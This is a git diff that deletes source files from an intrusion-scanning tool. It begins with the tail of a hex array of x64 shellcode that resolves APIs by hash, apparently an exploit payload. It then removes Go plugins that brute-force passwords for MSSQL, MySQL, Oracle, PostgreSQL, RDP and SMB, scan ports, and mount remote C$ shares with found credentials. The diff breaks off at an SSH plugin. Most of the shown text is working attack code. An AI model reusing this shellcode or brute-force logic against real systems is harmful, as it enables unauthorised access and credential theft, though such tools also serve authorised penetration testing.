0x48, 0x89, 0x0A, 0x48, 0xF7, 0xD1, 0x41, 0xBB, 0x4B, 0xCA, 0x0A, 0xEE, 0x48, 0x83, 0xEC, - 0x20, 0xE8, 0x52, 0x01, 0x00, 0x00, 0x85, 0xC0, 0x0F, 0x85, 0xC8, 0x00, 0x00, 0x00, 0x49, 0x8B, - 0x3E, 0x48, 0x8D, 0x35, 0xE9, 0x00, 0x00, 0x00, 0x31, 0xC9, 0x66, 0x03, 0x0D, 0xD7, 0x01, 0x00, - 0x00, 0x66, 0x81, 0xC1, 0xF9, 0x00, 0xF3, 0xA4, 0x48, 0x89, 0xDE, 0x48, 0x81, 0xC6, 0x08, 0x03, - 0x00, 0x00, 0x48, 0x89, 0xF1, 0x48, 0x8B, 0x11, 0x4C, 0x29, 0xE2, 0x51, 0x52, 0x48, 0x89, 0xD1, - 0x48, 0x83, 0xEC, 0x20, 0x41, 0xBB, 0x26, 0x40, 0x36, 0x9D, 0xE8, 0x09, 0x01, 0x00, 0x00, 0x48, - 0x83, 0xC4, 0x20, 0x5A, 0x59, 0x48, 0x85, 0xC0, 0x74, 0x18, 0x48, 0x8B, 0x80, 0xC8, 0x02, 0x00, - 0x00, 0x48, 0x85, 0xC0, 0x74, 0x0C, 0x48, 0x83, 0xC2, 0x4C, 0x8B, 0x02, 0x0F, 0xBA, 0xE0, 0x05, - 0x72, 0x05, 0x48, 0x8B, 0x09, 0xEB, 0xBE, 0x48, 0x83, 0xEA, 0x4C, 0x49, 0x89, 0xD4, 0x31, 0xD2, - 0x80, 0xC2, 0x90, 0x31, 0xC9, 0x41, 0xBB, 0x26, 0xAC, 0x50, 0x91, 0xE8, 0xC8, 0x00, 0x00, 0x00, - 0x48, 0x89, 0xC1, 0x4C, 0x8D, 0x89, 0x80, 0x00, 0x00, 0x00, 0x41, 0xC6, 0x01, 0xC3, 0x4C, 0x89, - 0xE2, 0x49, 0x89, 0xC4, 0x4D, 0x31, 0xC0, 0x41, 0x50, 0x6A, 0x01, 0x49, 0x8B, 0x06, 0x50, 0x41, - 0x50, 0x48, 0x83, 0xEC, 0x20, 0x41, 0xBB, 0xAC, 0xCE, 0x55, 0x4B, 0xE8, 0x98, 0x00, 0x00, 0x00, - 0x31, 0xD2, 0x52, 0x52, 0x41, 0x58, 0x41, 0x59, 0x4C, 0x89, 0xE1, 0x41, 0xBB, 0x18, 0x38, 0x09, - 0x9E, 0xE8, 0x82, 0x00, 0x00, 0x00, 0x4C, 0x89, 0xE9, 0x41, 0xBB, 0x22, 0xB7, 0xB3, 0x7D, 0xE8, - 0x74, 0x00, 0x00, 0x00, 0x48, 0x89, 0xD9, 0x41, 0xBB, 0x0D, 0xE2, 0x4D, 0x85, 0xE8, 0x66, 0x00, - 0x00, 0x00, 0x48, 0x89, 0xEC, 0x5D, 0x5B, 0x41, 0x5C, 0x41, 0x5D, 0x41, 0x5E, 0x41, 0x5F, 0x5E, - 0xC3, 0xE9, 0xB5, 0x00, 0x00, 0x00, 0x4D, 0x31, 0xC9, 0x31, 0xC0, 0xAC, 0x41, 0xC1, 0xC9, 0x0D, - 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xEC, 0xC3, 0x31, 0xD2, - 0x65, 0x48, 0x8B, 0x52, 0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x12, - 0x48, 0x8B, 0x72, 0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x45, 0x31, 0xC9, 0x31, 0xC0, 0xAC, 0x3C, - 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0xE2, 0xEE, 0x45, 0x39, - 0xD9, 0x75, 0xDA, 0x4C, 0x8B, 0x7A, 0x20, 0xC3, 0x4C, 0x89, 0xF8, 0x41, 0x51, 0x41, 0x50, 0x52, - 0x51, 0x56, 0x48, 0x89, 0xC2, 0x8B, 0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, - 0x00, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44, 0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0x48, - 0xFF, 0xC9, 0x41, 0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0xE8, 0x78, 0xFF, 0xFF, 0xFF, 0x45, 0x39, - 0xD9, 0x75, 0xEC, 0x58, 0x44, 0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, - 0x44, 0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01, 0xD0, 0x5E, 0x59, - 0x5A, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5B, 0x41, 0x53, 0xFF, 0xE0, 0x56, 0x41, 0x57, 0x55, 0x48, - 0x89, 0xE5, 0x48, 0x83, 0xEC, 0x20, 0x41, 0xBB, 0xDA, 0x16, 0xAF, 0x92, 0xE8, 0x4D, 0xFF, 0xFF, - 0xFF, 0x31, 0xC9, 0x51, 0x51, 0x51, 0x51, 0x41, 0x59, 0x4C, 0x8D, 0x05, 0x1A, 0x00, 0x00, 0x00, - 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0xBB, 0x46, 0x45, 0x1B, 0x22, 0xE8, 0x68, 0xFF, 0xFF, 0xFF, - 0x48, 0x89, 0xEC, 0x5D, 0x41, 0x5F, 0x5E, 0xC3, -} diff --git a/Plugins/mssql.go b/Plugins/mssql.go deleted file mode 100644 index 30b14299..00000000 --- a/Plugins/mssql.go +++ /dev/null @@ -1,57 +0,0 @@ -package Plugins - -import ( - "database/sql" - "fmt" - _ "github.com/denisenkom/go-mssqldb" - "github.com/shadow1ng/fscan/common" - "strings" - "time" -) - -func MssqlScan(info *common.HostInfo) (tmperr error) { - if common.IsBrute { - return - } - starttime := time.Now().Unix() - for _, user := range common.Userdict["mssql"] { - for _, pass := range common.Passwords { - pass = strings.Replace(pass, "{user}", user, -1) - flag, err := MssqlConn(info, user, pass) - if flag == true && err == nil { - return err - } else { - errlog := fmt.Sprintf("[-] mssql %v:%v %v %v %v", info.Host, info.Ports, user, pass, err) - common.LogError(errlog) - tmperr = err - if common.CheckErrs(err) { - return err - } - if time.Now().Unix()-starttime > (int64(len(common.Userdict["mssql"])*len(common.Passwords)) * common.Timeout) { - return err - } - } - } - } - return tmperr -} - -func MssqlConn(info *common.HostInfo, user string, pass string) (flag bool, err error) { - flag = false - Host, Port, Username, Password := info.Host, info.Ports, user, pass - dataSourceName := fmt.Sprintf("server=%s;user id=%s;password=%s;port=%v;encrypt=disable;timeout=%v", Host, Username, Password, Port, time.Duration(common.Timeout)*time.Second) - db, err := sql.Open("mssql", dataSourceName) - if err == nil { - db.SetConnMaxLifetime(time.Duration(common.Timeout) * time.Second) - db.SetConnMaxIdleTime(time.Duration(common.Timeout) * time.Second) - db.SetMaxIdleConns(0) - defer db.Close() - err = db.Ping() - if err == nil { - result := fmt.Sprintf("[+] mssql %v:%v:%v %v", Host, Port, Username, Password) - common.LogSuccess(result) - flag = true - } - } - return flag, err -} diff --git a/Plugins/mysql.go b/Plugins/mysql.go deleted file mode 100644 index db3e440a..00000000 --- a/Plugins/mysql.go +++ /dev/null @@ -1,57 +0,0 @@ -package Plugins - -import ( - "database/sql" - "fmt" - _ "github.com/go-sql-driver/mysql" - "github.com/shadow1ng/fscan/common" - "strings" - "time" -) - -func MysqlScan(info *common.HostInfo) (tmperr error) { - if common.IsBrute { - return - } - starttime := time.Now().Unix() - for _, user := range common.Userdict["mysql"] { - for _, pass := range common.Passwords { - pass = strings.Replace(pass, "{user}", user, -1) - flag, err := MysqlConn(info, user, pass) - if flag == true && err == nil { - return err - } else { - errlog := fmt.Sprintf("[-] mysql %v:%v %v %v %v", info.Host, info.Ports, user, pass, err) - common.LogError(errlog) - tmperr = err - if common.CheckErrs(err) { - return err - } - if time.Now().Unix()-starttime > (int64(len(common.Userdict["mysql"])*len(common.Passwords)) * common.Timeout) { - return err - } - } - } - } - return tmperr -} - -func MysqlConn(info *common.HostInfo, user string, pass string) (flag bool, err error) { - flag = false - Host, Port, Username, Password := info.Host, info.Ports, user, pass - dataSourceName := fmt.Sprintf("%v:%v@tcp(%v:%v)/mysql?charset=utf8&timeout=%v", Username, Password, Host, Port, time.Duration(common.Timeout)*time.Second) - db, err := sql.Open("mysql", dataSourceName) - if err == nil { - db.SetConnMaxLifetime(time.Duration(common.Timeout) * time.Second) - db.SetConnMaxIdleTime(time.Duration(common.Timeout) * time.Second) - db.SetMaxIdleConns(0) - defer db.Close() - err = db.Ping() - if err == nil { - result := fmt.Sprintf("[+] mysql %v:%v:%v %v", Host, Port, Username, Password) - common.LogSuccess(result) - flag = true - } - } - return flag, err -} diff --git a/Plugins/oracle.go b/Plugins/oracle.go deleted file mode 100644 index be9ad2dc..00000000 --- a/Plugins/oracle.go +++ /dev/null @@ -1,57 +0,0 @@ -package Plugins - -import ( - "database/sql" - "fmt" - "github.com/shadow1ng/fscan/common" - _ "github.com/sijms/go-ora/v2" - "strings" - "time" -) - -func OracleScan(info *common.HostInfo) (tmperr error) { - if common.IsBrute { - return - } - starttime := time.Now().Unix() - for _, user := range common.Userdict["oracle"] { - for _, pass := range common.Passwords { - pass = strings.Replace(pass, "{user}", user, -1) - flag, err := OracleConn(info, user, pass) - if flag == true && err == nil { - return err - } else { - errlog := fmt.Sprintf("[-] oracle %v:%v %v %v %v", info.Host, info.Ports, user, pass, err) - common.LogError(errlog) - tmperr = err - if common.CheckErrs(err) { - return err - } - if time.Now().Unix()-starttime > (int64(len(common.Userdict["oracle"])*len(common.Passwords)) * common.Timeout) { - return err - } - } - } - } - return tmperr -} - -func OracleConn(info *common.HostInfo, user string, pass string) (flag bool, err error) { - flag = false - Host, Port, Username, Password := info.Host, info.Ports, user, pass - dataSourceName := fmt.Sprintf("oracle://%s:%s@%s:%s/orcl", Username, Password, Host, Port) - db, err := sql.Open("oracle", dataSourceName) - if err == nil { - db.SetConnMaxLifetime(time.Duration(common.Timeout) * time.Second) - db.SetConnMaxIdleTime(time.Duration(common.Timeout) * time.Second) - db.SetMaxIdleConns(0) - defer db.Close() - err = db.Ping() - if err == nil { - result := fmt.Sprintf("[+] oracle %v:%v:%v %v", Host, Port, Username, Password) - common.LogSuccess(result) - flag = true - } - } - return flag, err -} diff --git a/Plugins/portscan.go b/Plugins/portscan.go deleted file mode 100644 index c3b291e1..00000000 --- a/Plugins/portscan.go +++ /dev/null @@ -1,118 +0,0 @@ -package Plugins - -import ( - "fmt" - "github.com/shadow1ng/fscan/common" - "sort" - "strconv" - "sync" - "time" -) - -type Addr struct { - ip string - port int -} - -func PortScan(hostslist []string, ports string, timeout int64) []string { - var AliveAddress []string - probePorts := common.ParsePort(ports) - if len(probePorts) == 0 { - fmt.Printf("[-] parse port %s error, please check your port format\n", ports) - return AliveAddress - } - noPorts := common.ParsePort(common.NoPorts) - if len(noPorts) > 0 { - temp := map[int]struct{}{} - for _, port := range probePorts { - temp[port] = struct{}{} - } - - for _, port := range noPorts { - delete(temp, port) - } - - var newDatas []int - for port := range temp { - newDatas = append(newDatas, port) - } - probePorts = newDatas - sort.Ints(probePorts) - } - workers := common.Threads - Addrs := make(chan Addr, 100) - results := make(chan string, 100) - var wg sync.WaitGroup - - //接收结果 - go func() { - for found := range results { - AliveAddress = append(AliveAddress, found) - wg.Done() - } - }() - - //多线程扫描 - for i := 0; i < workers; i++ { - go func() { - for addr := range Addrs { - PortConnect(addr, results, timeout, &wg) - wg.Done() - } - }() - } - - //添加扫描目标 - for _, port := range probePorts { - for _, host := range hostslist { - wg.Add(1) - Addrs <- Addr{host, port} - } - } - wg.Wait() - close(Addrs) - close(results) - return AliveAddress -} - -func PortConnect(addr Addr, respondingHosts chan<- string, adjustedTimeout int64, wg *sync.WaitGroup) { - host, port := addr.ip, addr.port - conn, err := common.WrapperTcpWithTimeout("tcp4", fmt.Sprintf("%s:%v", host, port), time.Duration(adjustedTimeout)*time.Second) - if err == nil { - defer conn.Close() - address := host + ":" + strconv.Itoa(port) - result := fmt.Sprintf("%s open", address) - common.LogSuccess(result) - wg.Add(1) - respondingHosts <- address - } -} - -func NoPortScan(hostslist []string, ports string) (AliveAddress []string) { - probePorts := common.ParsePort(ports) - noPorts := common.ParsePort(common.NoPorts) - if len(noPorts) > 0 { - temp := map[int]struct{}{} - for _, port := range probePorts { - temp[port] = struct{}{} - } - - for _, port := range noPorts { - delete(temp, port) - } - - var newDatas []int - for port, _ := range temp { - newDatas = append(newDatas, port) - } - probePorts = newDatas - sort.Ints(probePorts) - } - for _, port := range probePorts { - for _, host := range hostslist { - address := host + ":" + strconv.Itoa(port) - AliveAddress = append(AliveAddress, address) - } - } - return -} diff --git a/Plugins/postgres.go b/Plugins/postgres.go deleted file mode 100644 index 36a97edc..00000000 --- a/Plugins/postgres.go +++ /dev/null @@ -1,55 +0,0 @@ -package Plugins - -import ( - "database/sql" - "fmt" - _ "github.com/lib/pq" - "github.com/shadow1ng/fscan/common" - "strings" - "time" -) - -func PostgresScan(info *common.HostInfo) (tmperr error) { - if common.IsBrute { - return - } - starttime := time.Now().Unix() - for _, user := range common.Userdict["postgresql"] { - for _, pass := range common.Passwords { - pass = strings.Replace(pass, "{user}", string(user), -1) - flag, err := PostgresConn(info, user, pass) - if flag == true && err == nil { - return err - } else { - errlog := fmt.Sprintf("[-] psql %v:%v %v %v %v", info.Host, info.Ports, user, pass, err) - common.LogError(errlog) - tmperr = err - if common.CheckErrs(err) { - return err - } - if time.Now().Unix()-starttime > (int64(len(common.Userdict["postgresql"])*len(common.Passwords)) * common.Timeout) { - return err - } - } - } - } - return tmperr -} - -func PostgresConn(info *common.HostInfo, user string, pass string) (flag bool, err error) { - flag = false - Host, Port, Username, Password := info.Host, info.Ports, user, pass - dataSourceName := fmt.Sprintf("postgres://%v:%v@%v:%v/%v?sslmode=%v", Username, Password, Host, Port, "postgres", "disable") - db, err := sql.Open("postgres", dataSourceName) - if err == nil { - db.SetConnMaxLifetime(time.Duration(common.Timeout) * time.Second) - defer db.Close() - err = db.Ping() - if err == nil { - result := fmt.Sprintf("[+] Postgres:%v:%v:%v %v", Host, Port, Username, Password) - common.LogSuccess(result) - flag = true - } - } - return flag, err -} diff --git a/Plugins/rdp.go b/Plugins/rdp.go deleted file mode 100644 index fe08c391..00000000 --- a/Plugins/rdp.go +++ /dev/null @@ -1,192 +0,0 @@ -package Plugins - -import ( - "errors" - "fmt" - "github.com/shadow1ng/fscan/common" - "github.com/tomatome/grdp/core" - "github.com/tomatome/grdp/glog" - "github.com/tomatome/grdp/protocol/nla" - "github.com/tomatome/grdp/protocol/pdu" - "github.com/tomatome/grdp/protocol/rfb" - "github.com/tomatome/grdp/protocol/sec" - "github.com/tomatome/grdp/protocol/t125" - "github.com/tomatome/grdp/protocol/tpkt" - "github.com/tomatome/grdp/protocol/x224" - "log" - "os" - "strconv" - "strings" - "sync" - "time" -) - -type Brutelist struct { - user string - pass string -} - -func RdpScan(info *common.HostInfo) (tmperr error) { - if common.IsBrute { - return - } - - var wg sync.WaitGroup - var signal bool - var num = 0 - var all = len(common.Userdict["rdp"]) * len(common.Passwords) - var mutex sync.Mutex - brlist := make(chan Brutelist) - port, _ := strconv.Atoi(info.Ports) - - for i := 0; i < common.BruteThread; i++ { - wg.Add(1) - go worker(info.Host, common.Domain, port, &wg, brlist, &signal, &num, all, &mutex, common.Timeout) - } - - for _, user := range common.Userdict["rdp"] { - for _, pass := range common.Passwords { - pass = strings.Replace(pass, "{user}", user, -1) - brlist <- Brutelist{user, pass} - } - } - close(brlist) - go func() { - wg.Wait() - signal = true - }() - for !signal { - } - - return tmperr -} - -func worker(host, domain string, port int, wg *sync.WaitGroup, brlist chan Brutelist, signal *bool, num *int, all int, mutex *sync.Mutex, timeout int64) { - defer wg.Done() - for one := range brlist { - if *signal == true { - return - } - go incrNum(num, mutex) - user, pass := one.user, one.pass - flag, err := RdpConn(host, domain, user, pass, port, timeout) - if flag == true && err == nil { - var result string - if domain != "" { - result = fmt.Sprintf("[+] RDP %v:%v:%v\\%v %v", host, port, domain, user, pass) - } else { - result = fmt.Sprintf("[+] RDP %v:%v:%v %v", host, port, user, pass) - } - common.LogSuccess(result) - *signal = true - return - } else { - errlog := fmt.Sprintf("[-] (%v/%v) rdp %v:%v %v %v %v", *num, all, host, port, user, pass, err) - common.LogError(errlog) - } - } -} - -func incrNum(num *int, mutex *sync.Mutex) { - mutex.Lock() - *num = *num + 1 - mutex.Unlock() -} - -func RdpConn(ip, domain, user, password string, port int, timeout int64) (bool, error) { - target := fmt.Sprintf("%s:%d", ip, port) - g := NewClient(target, glog.NONE) - err := g.Login(domain, user, password, timeout) - - if err == nil { - return true, nil - } - - return false, err -} - -type Client struct { - Host string // ip:port - tpkt *tpkt.TPKT - x224 *x224.X224 - mcs *t125.MCSClient - sec *sec.Client - pdu *pdu.Client - vnc *rfb.RFB -} - -func NewClient(host string, logLevel glog.LEVEL) *Client { - glog.SetLevel(logLevel) - logger := log.New(os.Stdout, "", 0) - glog.SetLogger(logger) - return &Client{ - Host: host, - } -} - -func (g *Client) Login(domain, user, pwd string, timeout int64) error { - conn, err := common.WrapperTcpWithTimeout("tcp", g.Host, time.Duration(timeout)*time.Second) - if err != nil { - return fmt.Errorf("[dial err] %v", err) - } - defer conn.Close() - glog.Info(conn.LocalAddr().String()) - - g.tpkt = tpkt.New(core.NewSocketLayer(conn), nla.NewNTLMv2(domain, user, pwd)) - g.x224 = x224.New(g.tpkt) - g.mcs = t125.NewMCSClient(g.x224) - g.sec = sec.NewClient(g.mcs) - g.pdu = pdu.NewClient(g.sec) - - g.sec.SetUser(user) - g.sec.SetPwd(pwd) - g.sec.SetDomain(domain) - //g.sec.SetClientAutoReconnect() - - g.tpkt.SetFastPathListener(g.sec) - g.sec.SetFastPathListener(g.pdu) - g.pdu.SetFastPathSender(g.tpkt) - - //g.x224.SetRequestedProtocol(x224.PROTOCOL_SSL) - //g.x224.SetRequestedProtocol(x224.PROTOCOL_RDP) - - err = g.x224.Connect() - if err != nil { - return fmt.Errorf("[x224 connect err] %v", err) - } - glog.Info("wait connect ok") - wg := &sync.WaitGroup{} - breakFlag := false - wg.Add(1) - - g.pdu.On("error", func(e error) { - err = e - glog.Error("error", e) - g.pdu.Emit("done") - }) - g.pdu.On("close", func() { - err = errors.New("close") - glog.Info("on close") - g.pdu.Emit("done") - }) - g.pdu.On("success", func() { - err = nil - glog.Info("on success") - g.pdu.Emit("done") - }) - g.pdu.On("ready", func() { - glog.Info("on ready") - g.pdu.Emit("done") - }) - g.pdu.On("update", func(rectangles []pdu.BitmapData) { - glog.Info("on update:", rectangles) - }) - g.pdu.On("done", func() { - if breakFlag == false { - breakFlag = true - wg.Done() - } - }) - wg.Wait() - return err -} diff --git a/Plugins/scanner.go b/Plugins/scanner.go deleted file mode 100644 index 99a11da5..00000000 --- a/Plugins/scanner.go +++ /dev/null @@ -1,132 +0,0 @@ -package Plugins - -import ( - "fmt" - "github.com/shadow1ng/fscan/WebScan/lib" - "github.com/shadow1ng/fscan/common" - "reflect" - "strconv" - "strings" - "sync" -) - -func Scan(info common.HostInfo) { - fmt.Println("start infoscan") - Hosts, err := common.ParseIP(info.Host, common.HostFile, common.NoHosts) - if err != nil { - fmt.Println("len(hosts)==0", err) - return - } - lib.Inithttp() - var ch = make(chan struct{}, common.Threads) - var wg = sync.WaitGroup{} - web := strconv.Itoa(common.PORTList["web"]) - ms17010 := strconv.Itoa(common.PORTList["ms17010"]) - if len(Hosts) > 0 || len(common.HostPort) > 0 { - if common.NoPing == false && len(Hosts) > 1 || common.Scantype == "icmp" { - Hosts = CheckLive(Hosts, common.Ping) - fmt.Println("[*] Icmp alive hosts len is:", len(Hosts)) - } - if common.Scantype == "icmp" { - common.LogWG.Wait() - return - } - var AlivePorts []string - if common.Scantype == "webonly" || common.Scantype == "webpoc" { - AlivePorts = NoPortScan(Hosts, common.Ports) - } else if common.Scantype == "hostname" { - common.Ports = "139" - AlivePorts = NoPortScan(Hosts, common.Ports) - } else if len(Hosts) > 0 { - AlivePorts = PortScan(Hosts, common.Ports, common.Timeout) - fmt.Println("[*] alive ports len is:", len(AlivePorts)) - if common.Scantype == "portscan" { - common.LogWG.Wait() - return - } - } - if len(common.HostPort) > 0 { - AlivePorts = append(AlivePorts, common.HostPort...) - AlivePorts = common.RemoveDuplicate(AlivePorts) - common.HostPort = nil - fmt.Println("[*] AlivePorts len is:", len(AlivePorts)) - } - var severports []string //severports := []string{"21","22","135"."445","1433","3306","5432","6379","9200","11211","27017"...} - for _, port := range common.PORTList { - severports = append(severports, strconv.Itoa(port)) - } - fmt.Println("start vulscan") - for _, targetIP := range AlivePorts { - info.Host, info.Ports = strings.Split(targetIP, ":")[0], strings.Split(targetIP, ":")[1] - if common.Scantype == "all" || common.Scantype == "main" { - switch { - case info.Ports == "135": - AddScan(info.Ports, info, &ch, &wg) //findnet - if common.IsWmi { - AddScan("1000005", info, &ch, &wg) //wmiexec - } - case info.Ports == "445": - AddScan(ms17010, info, &ch, &wg) //ms17010 - //AddScan(info.Ports, info, ch, &wg) //smb - //AddScan("1000002", info, ch, &wg) //smbghost - case info.Ports == "9000": - AddScan(web, info, &ch, &wg) //http - AddScan(info.Ports, info, &ch, &wg) //fcgiscan - case IsContain(severports, info.Ports): - AddScan(info.Ports, info, &ch, &wg) //plugins scan - default: - AddScan(web, info, &ch, &wg) //webtitle - } - } else { - scantype := strconv.Itoa(common.PORTList[common.Scantype]) - AddScan(scantype, info, &ch, &wg) - } - } - } - for _, url := range common.Urls { - info.Url = url - AddScan(web, info, &ch, &wg) - } - wg.Wait() - common.LogWG.Wait() - close(common.Results) - fmt.Printf("已完成 %v/%v\n", common.End, common.Num) -} - -var Mutex = &sync.Mutex{} - -func AddScan(scantype string, info common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) { - *ch <- struct{}{} - wg.Add(1) - go func() { - Mutex.Lock() - common.Num += 1 - Mutex.Unlock() - ScanFunc(&scantype, &info) - Mutex.Lock() - common.End += 1 - Mutex.Unlock() - wg.Done() - <-*ch - }() -} - -func ScanFunc(name *string, info *common.HostInfo) { - defer func() { - if err := recover(); err != nil { - fmt.Printf("[-] %v:%v scan error: %v\n", info.Host, info.Ports, err) - } - }() - f := reflect.ValueOf(PluginList[*name]) - in := []reflect.Value{reflect.ValueOf(info)} - f.Call(in) -} - -func IsContain(items []string, item string) bool { - for _, eachItem := range items { - if eachItem == item { - return true - } - } - return false -} diff --git a/Plugins/smb.go b/Plugins/smb.go deleted file mode 100644 index 36d6f0e6..00000000 --- a/Plugins/smb.go +++ /dev/null @@ -1,81 +0,0 @@ -package Plugins - -import ( - "errors" - "fmt" - "github.com/shadow1ng/fscan/common" - "github.com/stacktitan/smb/smb" - "strings" - "time" -) - -func SmbScan(info *common.HostInfo) (tmperr error) { - if common.IsBrute { - return nil - } - starttime := time.Now().Unix() - for _, user := range common.Userdict["smb"] { - for _, pass := range common.Passwords { - pass = strings.Replace(pass, "{user}", user, -1) - flag, err := doWithTimeOut(info, user, pass) - if flag == true && err == nil { - var result string - if common.Domain != "" { - result = fmt.Sprintf("[+] SMB %v:%v:%v\\%v %v", info.Host, info.Ports, common.Domain, user, pass) - } else { - result = fmt.Sprintf("[+] SMB %v:%v:%v %v", info.Host, info.Ports, user, pass) - } - common.LogSuccess(result) - return err - } else { - errlog := fmt.Sprintf("[-] smb %v:%v %v %v %v", info.Host, 445, user, pass, err) - errlog = strings.Replace(errlog, "\n", "", -1) - common.LogError(errlog) - tmperr = err - if common.CheckErrs(err) { - return err - } - if time.Now().Unix()-starttime > (int64(len(common.Userdict["smb"])*len(common.Passwords)) * common.Timeout) { - return err - } - } - } - } - return tmperr -} - -func SmblConn(info *common.HostInfo, user string, pass string, signal chan struct{}) (flag bool, err error) { - flag = false - Host, Username, Password := info.Host, user, pass - options := smb.Options{ - Host: Host, - Port: 445, - User: Username, - Password: Password, - Domain: common.Domain, - Workstation: "", - } - - session, err := smb.NewSession(options, false) - if err == nil { - session.Close() - if session.IsAuthenticated { - flag = true - } - } - signal <- struct{}{} - return flag, err -} - -func doWithTimeOut(info *common.HostInfo, user string, pass string) (flag bool, err error) { - signal := make(chan struct{}) - go func() { - flag, err = SmblConn(info, user, pass, signal) - }() - select { - case <-signal: - return flag, err - case <-time.After(time.Duration(common.Timeout) * time.Second): - return false, errors.New("time out") - } -} diff --git a/Plugins/smb2.go b/Plugins/smb2.go deleted file mode 100644 index 57c52ff1..00000000 --- a/Plugins/smb2.go +++ /dev/null @@ -1,218 +0,0 @@ -package Plugins - -import ( - "fmt" - "github.com/shadow1ng/fscan/common" - "net" - "os" - "strings" - "time" - - "github.com/hirochachacha/go-smb2" -) - -func SmbScan2(info *common.HostInfo) (tmperr error) { - if common.IsBrute { - return nil - } - hasprint := false - starttime := time.Now().Unix() - if len(common.HashBytes) > 0 { - for _, user := range common.Userdict["smb"] { - for _, hash := range common.HashBytes { - pass := "" - flag, err, flag2 := Smb2Con(info, user, pass, hash, hasprint) - if flag2 { - hasprint = true - } - if flag == true { - var result string - if common.Domain != "" { - result = fmt.Sprintf("[+] SMB2 %v:%v:%v\\%v ", info.Host, info.Ports, common.Domain, user) - } else { - result = fmt.Sprintf("[+] SMB2 %v:%v:%v ", info.Host, info.Ports, user) - } - if len(hash) > 0 { - result += "hash: " + common.Hash - } else { - result += pass - } - common.LogSuccess(result) - return err - } else { - var errlog string - if len(common.Hash) > 0 { - errlog = fmt.Sprintf("[-] smb2 %v:%v %v %v %v", info.Host, 445, user, common.Hash, err) - } else { - errlog = fmt.Sprintf("[-] smb2 %v:%v %v %v %v", info.Host, 445, user, pass, err) - } - errlog = strings.Replace(errlog, "\n", " ", -1) - common.LogError(errlog) - tmperr = err - if common.CheckErrs(err) { - return err - } - if time.Now().Unix()-starttime > (int64(len(common.Userdict["smb"])*len(common.HashBytes)) * common.Timeout) { - return err - } - } - if len(common.Hash) > 0 { - break - } - } - } - } else { - for _, user := range common.Userdict["smb"] { - for _, pass := range common.Passwords { - pass = strings.Replace(pass, "{user}", user, -1) - hash := []byte{} - flag, err, flag2 := Smb2Con(info, user, pass, hash, hasprint) - if flag2 { - hasprint = true - } - if flag == true { - var result string - if common.Domain != "" { - result = fmt.Sprintf("[+] SMB2 %v:%v:%v\\%v ", info.Host, info.Ports, common.Domain, user) - } else { - result = fmt.Sprintf("[+] SMB2 %v:%v:%v ", info.Host, info.Ports, user) - } - if len(hash) > 0 { - result += "hash: " + common.Hash - } else { - result += pass - } - common.LogSuccess(result) - return err - } else { - var errlog string - if len(common.Hash) > 0 { - errlog = fmt.Sprintf("[-] smb2 %v:%v %v %v %v", info.Host, 445, user, common.Hash, err) - } else { - errlog = fmt.Sprintf("[-] smb2 %v:%v %v %v %v", info.Host, 445, user, pass, err) - } - errlog = strings.Replace(errlog, "\n", " ", -1) - common.LogError(errlog) - tmperr = err - if common.CheckErrs(err) { - return err - } - if time.Now().Unix()-starttime > (int64(len(common.Userdict["smb"])*len(common.Passwords)) * common.Timeout) { - return err - } - } - if len(common.Hash) > 0 { - break - } - } - } - } - - return tmperr -} - -func Smb2Con(info *common.HostInfo, user string, pass string, hash []byte, hasprint bool) (flag bool, err error, flag2 bool) { - conn, err := net.DialTimeout("tcp", info.Host+":445", time.Duration(common.Timeout)*time.Second) - if err != nil { - return - } - defer conn.Close() - initiator := smb2.NTLMInitiator{ - User: user, - Domain: common.Domain, - } - if len(hash) > 0 { - initiator.Hash = hash - } else { - initiator.Password = pass - } - d := &smb2.Dialer{ - Initiator: &initiator, - } - - s, err := d.Dial(conn) - if err != nil { - return - } - defer s.Logoff() - names, err := s.ListSharenames() - if err != nil { - return - } - if !hasprint { - var result string - if common.Domain != "" { - result = fmt.Sprintf("[*] SMB2-shares %v:%v:%v\\%v ", info.Host, info.Ports, common.Domain, user) - } else { - result = fmt.Sprintf("[*] SMB2-shares %v:%v:%v ", info.Host, info.Ports, user) - } - if len(hash) > 0 { - result += "hash: " + common.Hash - } else { - result += pass - } - result = fmt.Sprintf("%v shares: %v", result, names) - common.LogSuccess(result) - flag2 = true - } - fs, err := s.Mount("C$") - if err != nil { - return - } - defer fs.Umount() - path := `Windows\win.ini` - f, err := fs.OpenFile(path, os.O_RDONLY, 0666) - if err != nil { - return - } - defer f.Close() - flag = true - return - //bs, err := ioutil.ReadAll(f) - //if err != nil { - // return - //} - //fmt.Println(string(bs)) - //return - -} - -//if info.Path == ""{ -//} -//path = info.Path -//f, err := fs.OpenFile(path, os.O_RDONLY, 0666) -//if err != nil { -// return -//} -//flag = true -//_, err = f.Seek(0, io.SeekStart) -//if err != nil { -// return -//} -//bs, err := ioutil.ReadAll(f) -//if err != nil { -// return -//} -//fmt.Println(string(bs)) -//return -//f, err := fs.Create(`Users\Public\Videos\hello.txt`) -//if err != nil { -// return -//} -//flag = true -// -//_, err = f.Write([]byte("Hello world!")) -//if err != nil { -// return -//} -// -//_, err = f.Seek(0, io.SeekStart) -//if err != nil { -// return -//} -//bs, err := ioutil.ReadAll(f) -//if err != nil { -// return -//} -//fmt.Println(string(bs)) -//return diff --git a/Plugins/ssh.go b/Plugins/ssh.go deleted file mode 100644 index d4ab5dfa..00000000 --- a/Plugins/ssh.go +++ /dev/null @@ -1,97 +0,0 @@ -package Plugins - -import ( - "errors" - "fmt" - "github.com/shadow1ng/fscan/common" - "golang.org/x/crypto/ssh" - "io/ioutil" 